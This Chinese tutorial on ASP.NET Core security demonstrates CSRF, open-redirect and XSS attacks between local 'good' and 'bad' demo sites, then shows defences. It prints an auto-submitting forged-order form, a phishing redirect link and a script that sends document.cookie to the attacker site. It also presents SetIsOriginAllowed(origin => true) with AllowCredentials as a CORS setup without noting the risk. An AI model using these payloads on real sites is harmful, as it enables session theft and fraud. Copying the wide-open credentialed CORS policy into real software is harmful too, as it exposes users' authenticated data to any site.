乘風破浪,遇見最佳跨平臺跨終端框架.Net Core/.Net生態 - 淺析ASP.NET Core安全設計,如何防範XSRF、ORA、XSS及啓用CORS

ASP.NET Core安全性

image

通過ASP.NET Core,開發者可配置和管理安全性。

  • 身份驗證
  • 授權
  • 數據保護
  • HTTPS強制
  • 在開發期間安全存儲應用機密
  • XSRF/CSRF防護
  • 跨域資源共享(CORS)
  • 跨站點腳本(XSS)攻擊

通過這些安全功能,可以生成安全可靠的ASP.NET Core應用

軟件中的常見漏洞

ASP.NET Core和EF提供維護應用安全、預防安全漏洞的功能。

避免最常見安全漏洞的技術:

  • 跨站點腳本(XSS)攻擊
  • SQL注入式攻擊
  • 跨站點請求僞造(XSRF/CSRF)攻擊
  • 打開重定向攻擊

反跨站請求僞造(XSRF/CSRF)

https://github.com/TaylorShi/HelloSecurity

什麼是跨站請求僞造

跨網站請求僞造(也稱爲XSRF或CSRF)是一種針對Web託管應用的攻擊,惡意Web應用憑此可以影響客戶端瀏覽器與信任該瀏覽器的Web應用之間的交互。這些攻擊出現的原因可能是Web瀏覽器會隨着對網站的每個請求自動發送某些類型的身份驗證令牌。這種形式的攻擊也稱爲一鍵式攻擊或會話控制,因爲該攻擊利用了用戶以前經過身份驗證的會話。

跨站請求僞造(Cross Site Request Forgery, CSRF)是一種劫持受信任用戶向服務器發送非預期請求的攻擊方式

通常情況下,CSRF攻擊是攻擊者藉助受害者的Cookie騙取服務器的信任,在受害者毫不知情的情況下以受害者名義僞造請求發送給受攻擊服務器,從而在並未授權的情況下執行在權限保護之下的操作

誰的問題

某些攻擊以響應GET請求的終結點爲目標,在這種情況下,可以使用圖像標記來執行操作。這種形式的攻擊在允許圖像但阻止JavaScript的論壇網站上很常見。

更改GET請求狀態(更改變量或資源)的應用容易受到惡意攻擊。更改狀態的GET請求不安全。最佳做法是永不更改GET請求的狀態

CSRF攻擊可能會針對使用cookie進行身份驗證的Web應用,原因如下:

  • 瀏覽器存儲Web應用發出的cookie。
  • 存儲的cookie包含經過身份驗證的用戶的會話cookie。
  • 每次請求時,瀏覽器都會將與域關聯的所有cookie發送到Web應用,而不管對應用的請求是如何在瀏覽器中生成的。

但是,CSRF攻擊並不侷限於利用cookie。例如,基本身份驗證和摘要式身份驗證也容易受到攻擊。用戶使用基本身份驗證或摘要式身份驗證登錄後,瀏覽器會自動發送憑據,直到會話結束。

在此上下文中,會話是指在客戶端會話中對用戶進行身份驗證。它與服務器端會話或ASP.NET Core會話中間件無關。

用戶可以採取預防措施來防範CSRF漏洞:

  • 使用完Web應用後退出登錄。
  • 定期清除瀏覽器cookie。

但是從根本上說,CSRF漏洞是Web應用的問題,而不是最終用戶的問題

攻擊過程

image

如上圖,中間有個好站點,右邊有個壞站點,它是黑客構造的一個站點。

首先左側的用戶瀏覽器訪問了好站點,並進行了登錄,好站點通過Set Cookie來將登錄信息返回給瀏覽器,瀏覽器會將這個Cookie存儲到本地,後續所有請求好站點的請求都會攜帶這個身份的Cookie。

如果這個過程中,我們的客戶瀏覽器又去訪問了壞站點,壞站點就會返回一個頁面,這個頁面就會攜帶了構造一個到好站點的HTTP請求的腳本,這個腳本就可以控制我們的客戶的瀏覽器向好站點發起一個請求,瀏覽器這時向好站點發生請求時,這時候是會攜帶它的Cookie身份信息的,這樣一來,好站點就認爲這個請求它是有效的,並且這個人身份是有效的,它會去做一個響應。

如果說,這個請求是,轉賬的請求,那就意味着這個轉賬可能會成功,比如說壞站點構造了一個轉賬到黑客賬戶的動作,有可能我們的客戶在不知不覺中就受到了攻擊,然後將資金轉到黑客賬戶下面去了。

攻擊核心

  • 用戶已登錄"好站點"
  • "好站點"通過Cookie存儲和傳遞身份信息
  • 用戶訪問了"壞站點"

如何防禦

  • 不使用Cookie來存儲和傳輸身份信息,使用JWT和Header頭的方式來做身份認證
  • 使用AntiforgeryToken機制來防禦
  • 避免使用Get作爲業務操作的請求方法

基於AntiforgeryToken來防禦的選擇

  • ValidateAntiforgeryToken
  • AutoValidateAntiforgeryToken

這兩個類可以幫助我們輕鬆實現跨站腳本的防禦。

建立攻防站點

建立一個壞站點,做一個攻擊網站Tesla.Order.HackedSite

@{
    ViewData["Title"] = "Home Page";
}

<div class="text-center">
    <h1 class="display-4">Welcome</h1>
    <p>Learn about <a href="https://docs.microsoft.com/aspnet/core">building Web apps with ASP.NET Core</a>.</p>
</div>


<form action="https://localhost:5003/Home/CreateOrder" method="post">
    <label>商品ID:<input type="hidden" name="itemId" value="125" /></label>
    <label>數量:<input type="hidden" name="count" value="100" /></label>
    <input type="submit" value="提交" />
</form>
<script type="text/javascript">
    document.forms[0].submit();
</script>

<a href="https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin">攻擊鏈接https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin</a>

建立一個好站點Tesla.Order.NormalSite,建立一個HomeController

public class HomeController : Controller
{
    [Authorize]
    [ValidateAntiForgeryToken]
    public IActionResult CreateOrder(string itemId, int count)
    {
        _logger.LogInformation("創建了訂單itemId:{itemId},count:{count}", itemId, count);
        return Content("Order Created");
    }
}

這裏啓動後,我們直接進入壞站點

<form action="https://localhost:5003/Home/CreateOrder" method="post">
    <label>商品ID:<input type="hidden" name="itemId" value="125" /></label>
    <label>數量:<input type="hidden" name="count" value="100" /></label>
    <input type="submit" value="提交" />
</form>
<script type="text/javascript">
    document.forms[0].submit();
</script>

它會自動幫我們向好站點發送一個請求,形成攻擊。

如何預防跨站腳本攻擊

我們可以在Startup.csConfigureServices中使用AddAntiforgery設置一個Header值

// 設置了一個跨站腳本攻擊的防跨站攻擊的Token
services.AddAntiforgery(antiforgeryOptions =>
{
    antiforgeryOptions.HeaderName = "X-CSRF-TOKEN";
});

防跨站腳本策略是先在Cookie中設置了一個跨站腳本攻擊的防跨站攻擊的Token,這個Token在我們Http請求的時候,我們要求客戶端在Header裏面,通過我們定義的Header把Cookie的值也傳進來,這樣子服務端會驗證Header的值與Cookie的值是否一致,如果不一致,那麼當前請求是一個非法請求,如果一致,則認爲這是正常請求

對於跨站攻擊者,跨站腳本的攻擊者,它僅僅能通過它的一個頁面進行一個Post請求或者Get請求,這個請求是可以攜帶Cookie的,但是這個請求它是無法通過腳本去設置Http的請求頭的,同時它也沒辦法獲取到我們當前在我們好站點下存儲的Cookie的值,因此它沒有辦法去構造一個Header,說來與我們Cookie的值匹配的。這樣我們可以達到防跨站腳本攻擊的目的

更高級的設置包括

builder.Services.AddAntiforgery(options =>
{
    // Set Cookie properties using CookieBuilder properties†.
    options.FormFieldName = "AntiforgeryFieldname";
    options.HeaderName = "X-CSRF-TOKEN-HEADERNAME";
    options.SuppressXFrameOptionsHeader = false;
});

其中字段含義如下

選項 說明
Cookie 確定用於創建防僞造cookie的設置。
FormFieldName 防僞造系統用於在視圖中呈現防僞造令牌的隱藏表單域的名稱。
HeaderName 防僞造系統使用的標頭的名稱。如果爲null,則系統僅考慮表單數據。
SuppressXFrameOptionsHeader 指定是否禁止生成X-Frame-Options標頭。默認情況下,標頭是使用值“SAMEORIGIN”生成的。默認爲false。

不僅如此,我們還需要在全局範圍內開展防跨站腳本攻擊策略。

// 在全局範圍內開展防跨站腳本攻擊策略
services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));

如果不希望全局啓用,那麼可以使用Attribute的方式局部定義:ValidateAntiForgeryToken

[Authorize]
[ValidateAntiForgeryToken]
public IActionResult CreateOrder(string itemId, int count)
{
    _logger.LogInformation("創建了訂單itemId:{itemId},count:{count}", itemId, count);
    return Content("Order Created");
}

而且,我們要避免使用HttpGet來作爲業務操作數據變更的接口,儘量使用Post方法,這樣好處是說跨站攻擊的腳本的難度更大一些。

另外,我們可以使用JWT作爲身份認證,而不使用Cookie,意味着跨站腳本沒法攜帶身份信息。

爲了使用方便,我們還可以直接在Controller上使用Attribute標記: AutoValidateAntiforgeryToken

[AutoValidateAntiforgeryToken]
public class HomeController : Controller

它會針對名下所有Post動作生效。

防開放重定向攻擊(ORA)

什麼是開放重定向攻擊

開放重定向攻擊(Open Redirect Attack), 重定向到通過請求指定的URL的任何Web應用程序(如查詢字符串或表單數據)可能會篡改,以將用戶重定向到外部惡意URL。這種篡改稱爲開放式重定向攻擊。

重定向是網站操作的常見部分,但如果不小心實施,可能會導致應用程序安全風險。開放的重定向端點接受不受信任的輸入作爲目標URL,允許攻擊者將用戶重定向到惡意網站,並打開各種攻擊媒介。利用漏洞可以像手動將URL參數值更改爲攻擊者控制的站點一樣簡單。

每當應用程序邏輯重定向到指定的URL時,你必須驗證重定向URL是否未被篡改。ASP.NET MVC 1.0和ASP.NET MVC 2的默認AccountController中使用的登錄名容易受到打開重定向攻擊。

攻擊過程

image

這裏從左到右,瀏覽器、好站點、壞站點、攻擊者

攻擊者通過途徑來去向用戶發送了惡意信息,這個惡意信息攜帶了一個鏈接地址,這個鏈接地址就是一個攻擊地址。

而攻擊地址的域名實際上是好站點的地址,所以一般情況下,我們的用戶可能認爲這個鏈接是一個正常的鏈接。

然後用戶如果點擊了這個鏈接,用戶可能認爲這個鏈接是一個正常的鏈接,用戶就點擊了這個鏈接,訪問了帶惡意重定向地址的登錄頁,在整個過程中間,它就進行登錄。

好站點響應登錄頁面,用戶輸入用戶名、密碼,然後登錄。登錄完成以後,好站點一般情況下,會有一個重定向的動作,由於重定向的參數地址實際上是壞站點,也就意味着用戶一旦登錄成功,那就會重定向至壞站點,這個時候,壞站點造了一個跟好站點的登錄頁非常相似的登錄頁,由於客戶在剛開始點鏈接到時候,認爲我當前是在訪問好頁面,並不會注意瀏覽器地址發生了變化,用戶就會重新輸入賬號和密碼,以爲第一次輸錯了,這個時候用戶的用戶名和密碼實際上是提交到了壞站點,壞站點在獲取到了用戶名和密碼之後,通過後臺來通知攻擊者,另外它會將用戶重定向到好站點,用戶繼續訪問好站點。

在整個過程中間,用戶可能會被不知不覺的密碼泄露給了攻擊者。

攻擊核心

  • "好站點"的重定向爲驗證目標URL是否有效
  • 用戶訪問了"壞站點"

防範措施

  • 使用LocalRedirect來處理重定向,適合處理重定向僅限於本站的情況,意味着重定向不會跨站
  • 驗證重定向的目標域名是否合法,適用於站點有一組有效的域名,需要驗證這些域名的有效性,驗證重定向地址的有效性是否是我們合法的這些域名範圍內的

模擬攻擊過程

首先在Tesla.Order.HackedSite構建一個攻擊鏈接

<a href="https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin">攻擊鏈接https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin</a>

然後在Tesla.Order.NormalSiteHomeController設計了一個登錄頁面

//攻擊鏈接 https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin
[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要聲明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登錄成功");
    }
    return Redirect(returnUrl);
}

在壞站點Tesla.Order.HackedSite也僞造了一個Login頁面,和好站點非常相似

@{
    ViewData["Title"] = "Login";
}

<h1>Login</h1>
<form action="@Url.Action("Login")" method="post">
    <label>用戶名:<input type="text" name="name" value="" /></label>
    <label>密碼:<input type="text" name="password" value="" /></label>
    <input type="submit" value="提交" />
</form>

啓動項目,先看到壞站點的攻擊頁面

image

從這個鏈接點擊過去,直接去了好站點的登錄頁面

image

當我們登錄成功之後,我們留意到,瀏覽器地址立即跳轉回了壞站點的僞造登錄頁面

image

這時候用戶如果不注意上面的鏈接地址已經壞站點的話,可能會以爲當前是用戶名密碼輸入錯誤,會重新輸入賬號密碼,這時候,再次輸入賬號密碼,會重定向到好站點。

image

image

如何預防開放重定向攻擊

在好站點的登錄邏輯中,之前使用的是Redirect這種重定向方式,如果我們切換到LocalRedirect的話,就預防這種情況

[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要聲明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登錄成功");
    }
    return LocalRedirect(returnUrl);
}

這時候,再去模擬攻擊過程,我們發現,從壞站點跳轉到好站點的時候,它會報錯

image

InvalidOperationException: The supplied URL is not local. A URL with an absolute path is considered local if it does not have a host/authority part. URLs using virtual paths ('~/') are also local.

因爲這時候重定向的地址不是同域名的地址。

這樣的直接報錯不是很友好,我們可以做一個特殊處理,捕獲異常,然後重定向到我們首頁。

[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要聲明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登錄成功");
    }
    try
    {
        return LocalRedirect(returnUrl);
    }
    catch (Exception)
    {
        return Redirect("/");
    }
}

如果重定向最終地址是其他站點,採用LocalRedirect的情況就不太適用了,那麼對於其他站點,我們就需要對重定向的地址進行驗證。

try
{
    var uri = new Uri(returnUrl);
    if(uri.Host == "localhost")
    {
        return Redirect(returnUrl);
    }
    else
    {
        return Redirect("/");
    }
}
catch (Exception)
{
    return Redirect("/");
}

這裏的Uri.Host驗證可以根據我們的配置表或者根據數據庫的數據進行驗證。

除此之外,URL還提供了IsLocalUrl方法來判斷是否爲本地地址,可以在重定向之前進行這個判斷。

try
{
    if(Url.IsLocalUrl(returnUrl))
    {
        return Redirect(returnUrl);
    }
    else
    {
        return Redirect("/");
    }
}
catch (Exception)
{
    return Redirect("/");
}

防跨站腳本攻擊(XSS/CSS)

什麼是跨站腳本攻擊

跨站腳本攻擊(Cross Site Scripting,CSS,爲了區分通常叫XSS)是一種安全漏洞,攻擊者可利用此漏洞將客戶端腳本(通常是JavaScript)置於網頁中。當其他用戶加載受影響的頁面時,攻擊者的腳本便會運行,從而使攻擊者可盜取cookie和會話令牌、通過DOM操作更改網頁的內容或是將瀏覽器重定向到其他頁面。當應用程序接收用戶輸入並將它輸出到頁面而不進行驗證、編碼或轉義時,通常會出現XSS漏洞。

針對XSS保護應用程序

在基本級別上,XSS的工作原理是誘使應用程序將<script>標記插入到呈現的頁面中,或是將On*事件插入到元素中。開發人員應使用以下預防步驟來避免向其應用程序中引入XSS。

  1. 切勿將不受信任的數據置於HTML輸入中,除非按照以下其餘步驟進行操作。不受信任的數據是指可能由攻擊者控制的任何數據、HTML窗體輸入、查詢字符串、HTTP標頭,甚至是源自數據庫的數據,因爲即使攻擊者無法破壞你的應用程序,也可能能夠破壞你的數據庫。

  2. 將不受信任的數據置於HTML元素中之前,請確保其經過HTML編碼。HTML編碼接收諸如<此類字符,然後將它們更改爲安全形式(如&lt;)

  3. 將不受信任的數據置於HTML屬性中之前,請確保其經過HTML編碼。HTML屬性編碼是HTML編碼的超集,會對其他字符(如"and')進行編碼。

  4. 將不受信任的數據置於JavaScript中之前,請將數據置於你會在運行時檢索其內容的HTML元素中。如果無法做到這一點,請確保數據經過JavaScript編碼。JavaScript編碼會接收針對JavaScript的危險字符,然後將它們替換爲其十六進制,例如<會編碼爲\u003C

  5. 將不受信任的數據置於URL查詢字符串中之前,請確保其經過URL編碼

攻擊過程

image

這裏有四個角色:用戶瀏覽器、攻擊者、好站點、壞站點。

攻擊者提交了帶有惡意腳本的內容到好站點,好站點如果沒有驗證這些惡意內容,並且保存了惡意內容在頁面裏,提交成功。

正常的用戶來去訪問好站點的帶有惡意腳本的內容頁,那麼頁面就會響應帶有惡意腳本的頁面,這個時候客戶的瀏覽器就會執行惡意腳本,惡意腳本可以發起Post或者Get請求到壞站點,將用戶的身份信息提交到壞站點,那壞站點通知我們的攻擊者然後進行任意的響應,這個過程就完成了攻擊者竊取用戶的身份信息的一個過程。

實際上,惡意腳本不僅僅可以竊取用戶的身份信息,它可以類似於跨站請求僞造的方式去來幫助用戶直接提交,比如轉賬等功能的信息,所以惡意腳本的攻擊,比我們跨站請求僞造的攻擊威力更大,它不但能夠僞造請求,並且能夠竊取客戶的身份信息。

防範措施

  • 對用戶提交內容進行驗證,拒絕惡意腳本
  • 對用戶提交的內容進行編碼UrlEncoderJavaScriptEncoder
  • 慎用HtmlStringHtmlHelper.Raw,這個方法是將用戶提交的內容原模原樣地輸出到頁面上面,這意味着可以原模原樣的把惡意腳本輸出出來
  • 身份信息Cookie設置爲HttpOnly,這樣就無法通過Javascript腳本來讀取身份的Cookie信息,避免身份信息的泄露
  • 避免使用Path傳遞帶有不受信的字符,使用Query進行傳遞

模擬攻擊

在好站點Tesla.Order.NormalSite中,我們添加了Show方法,這裏模擬了攻擊者叫惡意腳本提交到頁面的過程。

public IActionResult Show()
{
    string content = "<p><script>var i=document.createElement('img');document.body.appendChild(i);i.src ='https://localhost:5001/home/xss?c=' +encodeURIComponent(document.cookie);</script></p>";
    ViewData["content"] = content;
    return View();
}

在這段惡意攻擊腳本中,會傳入一個圖片,這個圖片背後的地址是攻擊地址,它作用是將當前瀏覽器域名的Cookie通過壞站點的Home/xss頁面傳遞下去。

接下來看下壞站點Tesla.Order.HackedSite中關於home/xss的定義

public IActionResult Xss(string c)
{
    _logger.LogInformation("cookie:{cookie}", c);
    return Ok();
}

好站點,我們也需要對Cookie身份驗證做個設置,默認HttpOnly是True的,這裏我們故意設置成False,我們看到這裏我們還設置瞭如果驗證失敗,登錄地址爲/home/login

services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
.AddCookie(CookieAuthenticationDefaults.AuthenticationScheme, options =>
{
    options.LoginPath = "/home/login";
    options.Cookie.HttpOnly = false;
});

試試效果,我們訪問下好站點的Show頁面:https://localhost:5003/home/show

image

這裏成功看到那個惡意的圖片加載進來了,這個圖片的加載行爲,成功把Cookie偷走了。

image

壞站點也順利收到了偷來的Cookie

image

使用這個Cookie信息就可以僞造好人的身份在好站點進行登錄了。

如何預防跨站腳本攻擊

首先我們要把HttpOnly設置爲True。

services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
.AddCookie(CookieAuthenticationDefaults.AuthenticationScheme, options =>
{
    options.LoginPath = "/home/login";
    options.Cookie.HttpOnly = true;
});

重複下前面的過程,這時候我們看到登錄設置的Cookie被勾選了HttpOnly

image

這時候,我們再次訪問下Show頁面,發現這時候拿到的Cookie就只有CSRF-TOKEN的了,沒有ASPNetCore.Cookies

image

image

這樣我們就可以通過HttpOnly來避免身份信息的丟失。

編碼輸入和輸出值

但是實際上我們要從源頭來防止跨站腳本攻擊來解決,在Show方法中,對於需要在頁面上顯示的客戶輸入信息,需要嚴格驗證是否攜帶腳本內容,針對這些腳本信息我們是需要過濾的,尤其是這些腳本標籤。

這種情況我們可以考慮使用UrlEncoder對輸入字符串進行轉碼

private readonly ILogger<HomeController> _logger;
private readonly UrlEncoder _urlEncoder;

public HomeController(ILogger<HomeController> logger, UrlEncoder urlEncoder)
{
    _logger = logger;
    _urlEncoder = urlEncoder;
}

public IActionResult Show()
{
    string content = "<p><script>var i=document.createElement('img');document.body.appendChild(i);i.src ='https://localhost:5001/home/xss?c=' +encodeURIComponent(document.cookie);</script></p>";
    var encoderContent = _urlEncoder.Encode(content);
    ViewData["content"] = encoderContent;
    return View();
}

這時候,我們看到,輸入內容變成這樣一串東西了。

%3Cp%3E%3Cscript%3Evar%20i%3Ddocument.createElement(%27img%27);document.body.appendChild(i);i.src%20%3D%27https%3A%2F%2Flocalhost%3A5001%2Fhome%2Fxss%3Fc%3D%27%20%2BencodeURIComponent(document.cookie);%3C%2Fscript%3E%3C%2Fp%3E

編碼之後,空格、引號、標點符號和其他不安全字符會百分號編碼爲其十六進制值,例如,空格字符會變爲%20

可接受的一般做法是在輸出時進行編碼,並且編碼值絕不應存儲在數據庫中。通過在輸出時進行編碼,可更改數據的使用,例如從HTML到查詢字符串值。這還使你可輕鬆搜索你的數據,而無需在搜索之前對值進行編碼,並使你可利用對編碼器進行的任何更改或bug修復。

請在輸出之前始終對不受信任的輸入進行編碼,無論執行了哪種驗證或清理

跨域請求(CORS)

什麼是跨域請求

跨域請求(Cross-Origin Resource Sharing, CORS)是一種基於HTTP頭的機制,它允許服務器指出除其自身以外的任何源(域、方案或端口),瀏覽器應允許從這些源加載資源。CORS還依賴於一種機制,瀏覽器通過該機制向託管跨源資源的服務器發出"預檢"請求,以檢查該服務器是否允許實際請求。在該預檢中,瀏覽器會發送頭信息,表明實際請求中會使用的HTTP方法和頭信息。

跨源HTTP請求的一個例子:運行在https://domain-a.com 的JavaScript代碼使用XMLHttpRequest來發起一個到https://domain-b.com/data.json 的請求。

出於安全性,瀏覽器限制腳本內發起的跨源HTTP請求。例如,XMLHttpRequestFetchAPI遵循同源策略。這意味着使用這些API的Web應用程序只能從加載應用程序的同一個域請求HTTP資源,除非響應報文包含了正確CORS響應頭

image

跨源域資源共享(CORS)機制允許Web應用服務器進行跨源訪問控制,從而使跨源數據傳輸得以安全進行。現代瀏覽器支持在API容器中(例如XMLHttpRequestFetch)使用CORS,以降低跨源HTTP請求所帶來的風險。

什麼是同源

在一個Http Url裏面包含了方案Http/Https、域名、端口,如果這三者都是相同的則認爲這兩個域名是同源。

這兩個URL同源:

這些URL的源與前兩個URL不同:

同源與跨域

  • 方案相同(Http/Https)
  • 主機(域名)相同
  • 端口相同

CORS過程

image

這裏有三個角色:用戶瀏覽器、tesla.com域名網站、baoma.com域名網站

瀏覽器發起一個請求之後,訪問tesla.com域名網站得到了響應,這時瀏覽器處於tesla.com的主域下面,如果在這個域下面,我們的腳本發起了一個向baoma.com的http ajax請求,這時則認爲這是一個跨域請求。

瀏覽器在發起跨域請求之前,會先向baoma.com發起一個Http option的預檢請求,baoma.com收到預檢請求以後,會根據當前預檢請求的一些信息,比如說主域是什麼、請求的header是什麼,是否需要攜帶身份認證信息,根據這些信息,baoma.com會去判斷是否允許跨域請求,如果baoma.com的響應式允許訪問,則瀏覽器會正式地向baoma.com發起最終要求的跨域請求,這時baoma.com也會響應正常的頁面或者API信息。

瀏覽器支持情況

image

大部分瀏覽器都是支持的,對於IE來講,只有IE 11以上纔會完美的支持。

CORS請求頭

跨域預檢請求頭會包含如下信息

  • Origin請求源,當前主域的地址
  • Access-Control-Request-Method,期望請求的方法,比如Post、Get
  • Access-Control-Request-Headers,期望請求發起的請求頭

CORS響應頭

  • Access-Control-Allow-Origin,是否允許跨域
  • Access-Control-Allow-Credentials,是否允許攜帶的認證信息,比如Cookie
  • Access-Control-Expose-Headers,暴露Header,它是指當我們允許跨域請求時,是否允許跨域請求的腳本訪問到響應的頭,比如說一些預定義的頭
  • Access-Control-Max-Age,代表這一次跨越響應策略的有效時間,如果有效時間過了以後,實際上瀏覽器在發起跨域請求的時候,仍然會去發起預檢請求
  • Access-Control-Allow-Methods,允許的HTTP方法
  • Access-Control-Allow-Headers,允許的HTTP頭

默認支持Expose Headers

默認情況下已經暴露的Header包括

  • Cache-Control
  • Content-Language
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

這些都是與安全無關的,所以腳本實際上在跨域請求響應收到以後可以訪問響應,可以獲取到響應的HTTP信息的這些頭的值。

如何啓用CORS

我們建立兩個站點,一個還是之前的Tesla.Order.NormalSite用於支持跨域的服務站,另外一個再建立一個發起跨域請求的Tesla.Order.CrossSite

Tesla.Order.NormalSite,我們需要先在Startup.csConfigureServices方法中注入CORS服務,這裏我們順便做一些自定義的策略設定

// 啓用CORS服務
services.AddCors(corsOptions =>
{
    // 定義一個名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 允許它跨域的源是https://localhost:5005,即Tesla.Order.CrossSite
        .WithOrigins("https://localhost:5005")
        // 允許它發起任何Header
        .AllowAnyHeader()
        // 允許它發起任何憑據,發起請求會自動攜帶域下面的Cookie信息
        .AllowCredentials()
        // 允許腳本可以訪問到Header的列表
        .WithExposedHeaders("abc");
    });
});

這裏定義了一個叫api的Cors的策略,它允許跨域的源是我們Tesla.Order.CrossSite的域。

接下來,我們還需要在Configure方法中啓用CORS中間件

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{

    app.UseRouting();

    app.UseCors();

    app.UseAuthentication();

    app.UseAuthorization();

需要注意的是,需要將它放置在合適的順序位置,這裏放在UseRoutingUseAuthentication之間。

接下來,我們在Tesla.Order.NormalSite建立一個跨域的響應點,並且我們通過Attribute的方式啓用CORS,並且指定CORS的策略是api

public class HomeController : Controller
{
    [Authorize]
    [HttpPost]
    // 期望它是允許跨域訪問,並且指定策略名稱爲api的策略
    [EnableCors("api")]
    public object PostCors(string name)
    {
        return new { name = name + DateTime.Now.ToString() };
    }
}

這裏我們讓它返回傳入的值+當前時間。

接下來,我們前往Tesla.Order.CrossSite構建我們的請求頁面cors.cshtml

@{
    ViewData["Title"] = "Cors";
}

<h1>Cors</h1>
<h2 id="h2"></h2>
<script>

    fetch('https://localhost:5003/Home/PostCors?name=abc', {
        method: "POST",
        credentials: 'include',
        headers: new Headers({
            'Content-Type': 'application/json'
        }),
        body: {}
    })
    .then(response => response.json())
    .then(function (response) {
        document.getElementById('h2').innerText = response.name;
    });
</script>

這裏我們讓它向Tesla.Order.NormalSitePostCors接口發起跨域請求,如果有返回值,那麼就頁面呈現上來。

運行下,我們需要先在Tesla.Order.NormalSite中完成登錄,不然它沒有有效的Cookie可用。

image

接下來,我們前往Tesla.Order.CrossSite跨域發起請求頁面即可:https://localhost:5005/home/cors

image

可以看到,正確返回了值。

我們詳細看下具體的情況

image

首先它確實發起了一個跨域預檢的請求,並且拿到了如下返回值

access-control-allow-credentials: true
access-control-allow-headers: content-type
access-control-allow-origin: https://localhost:5005
date: Wed, 26 Oct 2022 17:04:42 GMT
server: Kestrel

說明它是允許我們來跨域的。

接下來,緊接着,瀏覽器發起了它期望發起的那個Post請求,一切順利

image

順利拿到了響應

{"name":"abc2022/10/27 1:04:43"}

我們來看一個反例,如果這時候其他站點來做這個跨域請求,那麼在發起跨域請求預檢的時候就拿不到之前那種答覆了。

image

可以看得出,啓用CORS之後,我們從Tesla.Order.CrossSite發起的請求,就像Tesla.Order.NormalSite自己的同域請求一樣的對待了。

設置多組域名CORS

實際使用過程,我們可能不只對一個域名進行啓用CORS,那麼我們可以寫成

// 啓用CORS服務
services.AddCors(corsOptions =>
{
    // 定義一個名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判斷哪些域名可以被運行跨域請求
        .SetIsOriginAllowed(origin => true)
        // 允許它發起任何憑據,發起請求會自動攜帶域下面的Cookie信息
        .AllowCredentials()
        // 允許它發起任何Header
        .AllowAnyHeader();
    });
});

這裏使用SetIsOriginAllowed來判斷哪些域名可以進行跨域請求,這些域名可以從配置表或者其他數據來源中獲取。

我們同時可以爲不同的api定義多個策略,這樣靈活應對各種情況。

// 啓用CORS服務
services.AddCors(corsOptions =>
{
    // 定義一個名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 允許它跨域的源是https://localhost:5005,即Tesla.Order.CrossSite
        .WithOrigins("https://localhost:5005")
        // 允許它發起任何Header
        .AllowAnyHeader()
        // 允許它發起任何憑據,發起請求會自動攜帶域下面的Cookie信息
        .AllowCredentials()
        // 允許腳本可以訪問到Header的列表
        .WithExposedHeaders("abc");
    });

    // 定義一個名字叫api-v2的Policy
    corsOptions.AddPolicy("api-v2", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判斷哪些域名可以被運行跨域請求
        .SetIsOriginAllowed(origin => true)
        // 允許它發起任何憑據,發起請求會自動攜帶域下面的Cookie信息
        .AllowCredentials()
        // 允許它發起任何Header
        .AllowAnyHeader();
    });
});

建立全局默認的策略

我們還可以通過AddDefaultPolicy添加全局默認CORS策略。

// 啓用CORS服務
services.AddCors(corsOptions =>
{
    // 全局默認策略
    corsOptions.AddDefaultPolicy(corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判斷哪些域名可以被運行跨域請求
        .SetIsOriginAllowed(origin => true)
        // 允許它發起任何憑據,發起請求會自動攜帶域下面的Cookie信息
        .AllowCredentials()
        // 允許它發起任何Header
        .AllowAnyHeader();
    });
});

在這種模式下,Controller上也可以省去Attribute方式的標記。

public class HomeController : Controller
{
    [Authorize]
    [HttpPost]
    public object PostCors(string name)
    {
        return new { name = name + DateTime.Now.ToString() };
    }
}

但是這樣的代價是,所有的API都會設置成可跨域訪問,因此不推薦使用這種全局方式。

